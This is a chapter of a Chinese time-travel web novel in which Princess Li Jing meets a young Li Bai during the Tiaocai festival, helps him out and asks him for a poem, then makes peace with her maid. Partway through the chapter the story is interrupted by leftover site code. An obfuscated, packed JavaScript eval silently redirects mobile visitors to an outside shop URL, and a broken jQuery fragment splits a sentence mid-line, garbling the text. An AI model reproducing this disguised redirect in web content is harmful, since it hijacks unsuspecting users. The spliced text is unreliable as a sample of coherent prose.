文趣网 > 其他小说 > 穿唐后,被迫成为女帝 > 19. 路遇李白
    秀玉拿着沾湿的帕子,轻轻给李璟擦脸。

    “令春呢?”李璟睡眼惺忪地揉揉眼睛。好像近几日,都是秀玉在伺候她梳洗。

    “令春姐姐去膳房催早膳了。今日公主不是要早些出宫吗?”

    今天是二月二,唐代又称“挑菜节”。

    李璟提前跟李隆基打过招呼,要去宫外逛一圈。

    “嗯。”

    秀玉给李璟换上一早备好的胡服。今日长安人都一股脑往外涌,穿胡服方便些,也安全些。

    李璟一口一口吃着早膳,令春始终没进来。

    其实秀玉伺候得也很尽心,温柔又腼腆,当婢女实在挑不出错。可李璟心里就是乱乱的,像被整个揪起来拧了一把,挤出些微涩的泡沫。

    李璟今日哪个婢女都没带。李隆基照旧拨了几名千牛卫跟着,还是那几张熟面孔。

    城外渠边,柳树刚冒新芽,女眷们三三两两结伴踏青、挑着野菜。沿路还能看见一些文人骚客临水摆摊,兴致来了就挥毫泼墨,洋洋洒洒的写出一大篇不知是什么的文章。

    李璟带着人沿小路慢慢逛,混着草木生机的气息直往鼻子里钻。

    “这泥人怎么卖?”李璟蹲下身,问路边摆摊的妇人,妇人手上沾着些泥点。

    “三文钱,可以给您现捏。什么清源妙道真君、观世音菩萨、广寒宫仙子,我都会。”

    “不用,给我来只玉兔就好。”李璟掏出三文钱,放在案板上。

    妇人的手很灵巧。泥是提前备好的,连带着颜料,约莫一刻钟,一只兔子便捏好,放到了千牛卫手里。

    “这泥人得慢慢干,小娘子先莫要碰。”

    “哎?”李璟正了正头顶浅褐色的卷檐毡帽,“这么明显吗?”

    妇人爽朗地笑笑:“您生得玉雪可爱,这一身就像城外田埂上新开的芥菜花,水灵灵的,一看就是小娘子。”

    李璟不好意思地笑了笑:“您这般夸我,我倒有些受不住了。”

    李璟礼貌地同妇人告别,刚一转身,一个长相英气的青衫男子跌跌撞撞跑过来,一边用力挤过人群,一边轻声说着抱歉。

    男子冲过来时差点撞上李璟身边的一个千牛卫,被对方一把扶住。

    男子抬头看清对方的脸,愣了一下:“你是……崔家二郎?”

    那千牛卫也认出了他,皱了皱眉:“陆调?你怎么在这儿?”

    陆调不好意思地直起身:“我有个挚友,最近来长安游访,恰巧今日二月二,我陪他出来逛逛。”

    崔元回头看了一眼李璟,低声呵斥:“你毛毛躁躁地要干什么去?冲撞了贵人,你几个脑袋担得起?”

    陆调张了张嘴,略有些发愣地看着崔元:“我要去御史台寻人帮忙。我那挚友在北门平康坊被一群斗鸡徒围住了。他虽剑术高超,可长安不能随意杀人,今日出来又未佩剑,双拳难敌四手,一时挣脱不得……”

    “所以你就去御史台找人帮忙?”李璟从千牛卫的包围中绕出来,“你这于法不合吧。”

    陆调低头看着眼前的李璟,心知这应该就是崔元口中的贵人。

    “是……但我不知道还有什么别的法子。”

    “遇见我,你不就有了。”李璟笑笑,“我带着他们跟你去,够不够?”

    李璟今日出门带了六名千牛卫,都是御前护卫的一把好手。

    “够的够的。”陆调喜上眉梢,“您这边跟我来,我们慢些走也没关系。”

    李璟晃晃自己的软锦靴:“瞧不起我呢?人命关天,你快步走,大不了我小跑着跟你。”

    那群斗鸡徒向来欺软怕硬,千牛卫们稍一动手,他们便四散逃开了,只留下一个身穿月白色胡服的青年靠在墙根,手里紧紧握着半只酒葫芦,浑不在意地朝他们挥了挥手。

    “害,酒喝太多,没力气。不然就他们几个,白一个人就解决了。”

    陆调无奈地走过去,把他扶起来:“李兄,你这酒是该戒一戒了。”

    李?白?酒?招猫逗狗?

    李璟走过去,站到两人面前。

    “你是李白?”

    “咦?小娘子认得我?”李白蹲下来同她对视。

    “有幸拜读过你的《上李邕》。‘大鹏一日同风起,扶摇直上九万里。’是也不是?”

    骗他的,其实赵冬曦还在带着她死磕政治文学呢。

    “那小娘子觉得,我写得如何?”

    阅读理解题。李璟回忆着高中三年做过的古诗摘要,挑了几句说。

    “知己啊,你我应当结为忘年交!”李白伸手拍拍李璟肩膀,语气激动。旁边的陆调脸色发白,支支吾吾又不敢透露李璟身份。

    李璟的肩膀被拍得有点痛,忍不住轻轻咧嘴。千牛卫们面色不佳,眼看就要上前动手。

    “没事没事。”李璟出声安抚。

    被李白拍过的肩膀,那是好肩膀!

    “你来长安,是找人举荐吗?”

    李白笑了一声,带着点自嘲:“这种事,说出来就没意思了。”

    李璟抬头看着这位纵横诗坛上千年的诗仙,脑海里浮现一个想法:现在的李白,是一匹千里马,那她要不要尝试帮他一把,当个伯乐?

    “你住哪里?”李璟问了句没头没脑的话。

    李白摊了摊手:“住客舍。”

    李璟解下腰间挂着的玉佩:“你拿着这个,明日去延康坊武氏宅。有人会给你安排住处,也会给你想要的机会。”

    “小娘子与我非亲非故,为何对我这么好?”饶是洒脱如李白,也对李璟的自我防护意识表示出大大的不赞同。

    “你刚刚不说我们是忘年交?既然引为知己,又何惧帮朋友一点小忙?”

    李白哈哈大笑:“好啊!好!是我着相了!你这个小友,我李白认定了!”

    “但我从不平白受别人的恩情。”李白伸手也从腰间解下一枚小巧漂亮的金龟,“我拿这个,换你的玉佩。”

    本来是金龟换酒,如今是金龟换佩。但李璟并不想让一个流传已久的故事迷失在历史的海洋里,她将金龟推了回去。

    “我不要,我不缺这些金玉之物。你非要感谢我,不如给我写首诗吧,就叫《赠十八娘》,如何?”

    “有何不可!写诗是我最擅长的东西,说到底,还是我占了十八娘的恩情。”

    “那说好了,你写完,我会派人去取的。”李璟脸上是按捺不住的欣喜。

    奈斯,赚翻了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881461|212475||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !谁不想让李白给自己写首诗啊!不求“云想衣裳花想容”那种级别,只要把她的聪明可爱、勇敢善良、大方得体描述出一部分就可以,她不贪心的!

    李璟走后,陆调忍不住锤了李白一下:“你啊你,真是走大运啦。武家,十八娘,你可知这是谁?”

    李白揉了揉脑袋:“不知道啊,我上哪儿知道去。”

    “这应当是武惠妃之女,陛下如今最宠的公主。去年吐蕃来访,她一番赠书论,在朝臣里也算出了名。不少老臣都夸她天资聪颖,有陛下少时之风。”陆调耐心地跟李白科普,“你这次可得好好抓住机会。另外,我也要诗。”

    李白把酒壶塞到他手里,头也不回地朝客舍走:“你日日要诗,你以为我是谪仙人啊?随便一挥手就给你变出一堆诗来?一边玩去。”

    “哎,你这可就不地道了。要不是我,你能遇到公主吗……”两人吵吵嚷嚷地又凑到一块儿。

    这边李璟沿街采买了一些东西,看着日头高升:“什么时辰了?”

    “隅中。”

    换算一下,就是十点左右。

    “回宫吧,吃完饭下午还要听先生讲学。”

    李璟回到东偏殿,吩咐宫侍把她买回来的东西给李沐和武惠妃送去。

    李璇离得近,她自己拿过去就好。

    “阿姐!”李璇高兴地扑过来,“阿姐去玩了,没带璇。”

    “你还小呢。等你大些,如果可以,阿姐一定带你出去。”

    “看阿姐给你带了什么?”李璟把捏的小兔子放到李璇手心,又将一大兜各色点心和小玩具交给奶娘。

    陪着李璇玩到中午,回去用午膳时,李璟总算见到了正侍弄花草的令春。

    她叹了口气,走到花盆旁蹲下,吓了令春一跳。

    “公主突然蹲在这儿做什么?奴要是不小心扎到您可怎么办?”令春的语气带着点嗔怪。

    “好姐姐,别生气了。”李璟扯着她的短襦下摆,轻轻撒娇。

    “奴没有生气呀。”令春有些疑惑,“奴怎么会生您的气呢?”

    “那我这几日怎么都见不着你?”李璟控诉。

    “嗯?公主不是想培养些自己的人吗?奴给她们腾地方呀。”令春真心实意地看着李璟。

    “我不是那个意思。”李璟有些无措,“我带她们回来,不是想让她们取代你。我那日只是脾气失控。”

    “公主别这么说。”令春皱了皱眉,将剪刀放到土上,“奴只是奴婢,您是主家,亲近谁、厌弃谁,都是您的权利,您不必为奴这样想。”

    自李璟穿越过来,令春陪在她身边最久,所以她天然地更在意令春的想法。

    还不等李璟反驳,令春脸上忽然绽开笑意:“不过听见公主这么讲,奴很开心。奴是真心实意想让公主带出一些属于您的人。毕竟等日后开公主府,您府里总不能连个称心的人都没有。”

    “奴近日在教知微一些庶务和记单子的本事,所以时间紧些。等把她教完,奴就能像从前一样陪着您了。”

    好吧,是她以现代人之心,度古代人之腹了。

    “这花我怎么没见过?”李璟好奇的戳戳叶子。

    “惠妃娘子今日让人搬来的。”